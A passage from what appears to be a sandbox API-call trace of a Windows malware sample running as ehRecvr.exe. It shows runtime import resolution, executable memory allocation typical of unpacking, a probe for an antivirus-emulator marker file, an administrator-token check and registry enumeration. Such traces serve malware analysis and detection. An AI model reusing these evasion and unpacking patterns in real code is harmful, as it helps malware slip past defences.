hFile=0x3b268c, lpDCB=0x26f880 | out: lpDCB=0x26f880) returned 0 [0032.272] PlayEnhMetaFileRecord (hdc=0xeea41c, pht=0x26f87c, pmr=0x26f868, cht=0x353) returned 0 [0032.272] CloseClipboard () returned 0 [0032.272] CoUninitialize () [0032.272] CreateMutexW (lpMutexAttributes=0x0, bInitialOwner=0, lpName="MutexHelper") returned 0xa0 [0032.272] ReleaseMutex (hMutex=0xa0) returned 0 [0032.272] CloseHandle (hObject=0xa0) returned 1 [0032.272] GetLocalTime (in: lpSystemTime=0x26fb1c | out: lpSystemTime=0x26fb1c*(wYear=0x7e3, wMonth=0xb, wDayOfWeek=0x5, wDay=0x8, wHour=0x5, wMinute=0x15, wSecond=0x16, wMilliseconds=0x21d)) [0032.273] LdrGetProcedureAddress (in: BaseAddress=0x76c20000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x26f59c | out: ProcedureAddress=0x26f59c*=0x76c31856) returned 0x0 [0032.273] VirtualAlloc (lpAddress=0x0, dwSize=0x16000, flAllocationType=0x1000, flProtect=0x4) returned 0x140000 [0032.755] LdrGetProcedureAddress (in: BaseAddress=0x76c20000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x26f59c | out: ProcedureAddress=0x26f59c*=0x76c31856) returned 0x0 [0032.755] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x1000, flProtect=0x40) returned 0xd0000 [0032.756] LdrGetProcedureAddress (in: BaseAddress=0x76c20000, Name="LoadLibraryA", Ordinal=0x0, ProcedureAddress=0x26f634 | out: ProcedureAddress=0x26f634*=0x76c349d7) returned 0x0 [0032.756] LdrGetProcedureAddress (in: BaseAddress=0x76c20000, Name="GetProcAddress", Ordinal=0x0, ProcedureAddress=0x26f634 | out: ProcedureAddress=0x26f634*=0x76c31222) returned 0x0 [0032.756] LdrGetProcedureAddress (in: BaseAddress=0x76c20000, Name="VirtualAlloc", Ordinal=0x0, ProcedureAddress=0x26f634 | out: ProcedureAddress=0x26f634*=0x76c31856) returned 0x0 [0032.756] LdrGetProcedureAddress (in: BaseAddress=0x76c20000, Name="VirtualProtect", Ordinal=0x0, ProcedureAddress=0x26f634 | out: ProcedureAddress=0x26f634*=0x76c3435f) returned 0x0 [0032.756] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0032.756] GetProcAddress (hModule=0x76c20000, lpProcName="FlsFree") returned 0x76c3359f [0032.756] GetProcAddress (hModule=0x76c20000, lpProcName="SetUnhandledExceptionFilter") returned 0x76c387c9 [0032.756] VirtualProtect (in: lpAddress=0x830000, dwSize=0x46000, flNewProtect=0x40, lpflOldProtect=0x26f6e8 | out: lpflOldProtect=0x26f6e8*=0x2) returned 1 [0032.767] VirtualAlloc (lpAddress=0x0, dwSize=0x18000, flAllocationType=0x1000, flProtect=0x40) returned 0x270000 [0032.770] LoadLibraryA (lpLibFileName="KERNEL32.dll") returned 0x76c20000 [0032.770] GetProcAddress (hModule=0x76c20000, lpProcName="CreateFileW") returned 0x76c33f5c [0032.770] GetProcAddress (hModule=0x76c20000, lpProcName="ExitProcess") returned 0x76c37a10 [0032.770] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0x0) returned 0x0 [0034.313] CreateFileW (lpFileName="C:\\aaa_TouchMeNot_.txt" (normalized: "c:\\aaa_touchmenot_.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0034.327] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x1070000 [0034.676] RtlAllocateHeap (HeapHandle=0x1070000, Flags=0x8, Size=0x104) returned 0x10707d0 [0034.677] RtlAllocateHeap (HeapHandle=0x1070000, Flags=0x8, Size=0x80) returned 0x10708e0 [0034.678] RtlAllocateHeap (HeapHandle=0x1070000, Flags=0x8, Size=0x80) returned 0x1070968 [0034.679] RtlAllocateHeap (HeapHandle=0x1070000, Flags=0x8, Size=0x80) returned 0x10709f0 [0034.679] RtlAllocateHeap (HeapHandle=0x1070000, Flags=0x8, Size=0x80) returned 0x1070a78 [0034.679] RtlAllocateHeap (HeapHandle=0x1070000, Flags=0x8, Size=0x80) returned 0x1070b00 [0034.679] RtlAllocateHeap (HeapHandle=0x1070000, Flags=0x8, Size=0x80) returned 0x1070b88 [0034.679] RtlAllocateHeap (HeapHandle=0x1070000, Flags=0x8, Size=0x80) returned 0x1070c10 [0034.680] RtlAllocateHeap (HeapHandle=0x1070000, Flags=0x8, Size=0x80) returned 0x1070c98 [0034.681] RtlAllocateHeap (HeapHandle=0x1070000, Flags=0x8, Size=0x80) returned 0x1070d20 [0034.682] RtlAllocateHeap (HeapHandle=0x1070000, Flags=0x8, Size=0x80) returned 0x1070da8 [0034.683] RtlAllocateHeap (HeapHandle=0x1070000, Flags=0x8, Size=0x80) returned 0x1070e30 [0034.683] RtlAllocateHeap (HeapHandle=0x1070000, Flags=0x8, Size=0x80) returned 0x1070eb8 [0034.683] RtlAllocateHeap (HeapHandle=0x1070000, Flags=0x8, Size=0x80) returned 0x1070f40 [0034.683] RtlAllocateHeap (HeapHandle=0x1070000, Flags=0x8, Size=0x80) returned 0x1070fc8 [0034.684] RtlAllocateHeap (HeapHandle=0x1070000, Flags=0x8, Size=0x80) returned 0x1071050 [0034.686] RtlAllocateHeap (HeapHandle=0x1070000, Flags=0x8, Size=0x80) returned 0x10710d8 [0034.686] RtlAllocateHeap (HeapHandle=0x1070000, Flags=0x8, Size=0x400) returned 0x1071160 [0034.689] RtlCreateHeap (Flags=0x2, HeapBase=0x0, ReserveSize=0x0, CommitSize=0x1234, Lock=0x0, Parameters=0x0) returned 0x300000 [0034.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x3007d0 [0034.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x300858 [0034.689] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x3008e0 [0034.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x184) returned 0x300968 [0034.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x300af8 [0034.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x300b40 [0034.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x300b88 [0034.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x300bd0 [0034.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x300c18 [0034.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x300c60 [0034.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x300ca8 [0034.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x300cf0 [0034.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x300d38 [0034.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x300d80 [0034.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x300dc8 [0034.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x300e10 [0034.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x300e58 [0034.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x300ea0 [0034.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x300ee8 [0034.690] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x300f30 [0034.690] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x26f224, nSize=0x1000 | out: lpFilename="C:\\Windows\\ehome\\ehRecvr.exe" (normalized: "c:\\windows\\ehome\\ehrecvr.exe")) returned 0x1c [0034.694] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x300f78 [0034.696] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x2c) returned 0x30b828 [0035.220] GetVersionExW (in: lpVersionInformation=0x26f844*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x26f844*(dwOSVersionInfoSize=0x11c, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0035.220] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x26f82c | out: Wow64Process=0x26f82c) returned 1 [0035.220] OpenProcessToken (in: ProcessHandle=0xffffffff, DesiredAccess=0x8, TokenHandle=0x26f808 | out: TokenHandle=0x26f808*=0xa0) returned 1 [0035.220] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x26f804 | out: TokenInformation=0x0, ReturnLength=0x26f804) returned 0 [0035.220] GetLastError () returned 0x7a [0035.220] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x140) returned 0x30b860 [0035.220] GetTokenInformation (in: TokenHandle=0xa0, TokenInformationClass=0x2, TokenInformation=0x30b860, TokenInformationLength=0x104, ReturnLength=0x26f804 | out: TokenInformation=0x30b860, ReturnLength=0x26f804) returned 1 [0035.220] AllocateAndInitializeSid (in: pIdentifierAuthority=0x26f814, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x26f80c | out: pSid=0x26f80c*=0x442818*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0035.220] EqualSid (pSid1=0x442818*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x30b8bc*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0 [0035.220] EqualSid (pSid1=0x442818*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x30b8c8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 0 [0035.220] EqualSid (pSid1=0x442818*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x30b8d4*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 0 [0035.220] EqualSid (pSid1=0x442818*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x30b8e4*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0x6)) returned 0 [0035.220] EqualSid (pSid1=0x442818*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x30b8f0*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x1)) returned 0 [0035.220] EqualSid (pSid1=0x442818*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x30b8fc*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xb)) returned 0 [0035.220] EqualSid (pSid1=0x442818*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x30b908*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=0xf)) returned 0 [0035.220] EqualSid (pSid1=0x442818*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x30b914*(Revision=0x1, SubAuthorityCount=0x6, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x50, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x87, [5]=0x4f))) returned 0 [0035.221] EqualSid (pSid1=0x442818*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x30b934*(Revision=0x1, SubAuthorityCount=0x3, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x5, [1]=0x0, [2]=0x0))) returned 0 [0035.221] EqualSid (pSid1=0x442818*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x30b948*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x2), SubAuthority=0x0)) returned 0 [0035.221] EqualSid (pSid1=0x442818*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), pSid2=0x30b954*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0035.221] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30b860) returned 1 [0035.221] NtClose (Handle=0xa0) returned 0x0 [0035.221] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30b860 [0035.222] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30b8a8 [0035.223] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x280) returned 0x30b930 [0035.224] SHRegDuplicateHKey (hkey=0x80000002) returned 0x80000002 [0035.230] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x0, lpName=0x30b930, cchName=0x104 | out: lpName="BCD00000000") returned 0x0 [0035.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.230] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.230] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30bc58 [0035.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bcd00000000", cchWideChar=11, lpMultiByteStr=0x30bc58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bcd00000000", lpUsedDefaultChar=0x0) returned 11 [0035.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30bca0 [0035.231] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bc58) returned 1 [0035.231] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bca0) returned 1 [0035.231] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.231] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x30b930, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0035.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0035.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30bca0 [0035.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x30bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0035.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30bc58 [0035.231] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bca0) returned 1 [0035.231] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bc58) returned 1 [0035.231] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.231] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x30b930, cchName=0x104 | out: lpName="SAM") returned 0x0 [0035.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0035.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30bc58 [0035.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x30bc58, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0035.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30bca0 [0035.231] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bc58) returned 1 [0035.231] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bca0) returned 1 [0035.231] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.231] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x30b930, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0035.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0035.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30bca0 [0035.231] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x30bca0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0035.231] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30bc58 [0035.232] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bca0) returned 1 [0035.232] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bc58) returned 1 [0035.232] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.232] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x30b930, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0035.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0035.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30bc58 [0035.232] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x30bc58, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0035.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30bca0 [0035.232] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bc58) returned 1 [0035.232] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bca0) returned 1 [0035.232] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.232] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SOFTWARE", ulOptions=0x0, samDesired=0x20109, phkResult=0x26f79c | out: phkResult=0x26f79c*=0xa0) returned 0x0 [0035.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x184) returned 0x30d040 [0035.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30bca0 [0035.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30bc58 [0035.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30bce8 [0035.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30bd30 [0035.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30bd78 [0035.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30bdc0 [0035.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30be08 [0035.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30be50 [0035.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30be98 [0035.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30bee0 [0035.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30bf28 [0035.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30bf70 [0035.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30bfb8 [0035.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c000 [0035.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c048 [0035.232] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c090 [0035.232] RegCloseKey (hKey=0x80000002) returned 0x0 [0035.233] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x0, lpName=0x30b930, cchName=0x104 | out: lpName="ATI Technologies") returned 0x0 [0035.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0035.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ati technologies", cchWideChar=16, lpMultiByteStr=0x30c0d8, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ati technologies", lpUsedDefaultChar=0x0) returned 16 [0035.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.233] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.233] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.233] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.233] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x1, lpName=0x30b930, cchName=0x104 | out: lpName="CBSTEST") returned 0x0 [0035.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0035.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="cbstest", cchWideChar=7, lpMultiByteStr=0x30c120, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cbstest", lpUsedDefaultChar=0x0) returned 7 [0035.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.233] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.233] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.233] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.233] RegEnumKeyW (in: hKey=0xa0, dwIndex=0x2, lpName=0x30b930, cchName=0x104 | out: lpName="Classes") returned 0x0 [0035.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x80) returned 0x30bbb8 [0035.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0035.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c0d8 [0035.233] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="classes", cchWideChar=7, lpMultiByteStr=0x30c0d8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="classes", lpUsedDefaultChar=0x0) returned 7 [0035.233] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x8, Size=0x40) returned 0x30c120 [0035.233] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c0d8) returned 1 [0035.233] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30c120) returned 1 [0035.233] RtlFreeHeap (HeapHandle=0x300000, Flags=0x0, BaseAddress=0x30bbb8) returned 1 [0035.233] RegEnumKeyW (in: 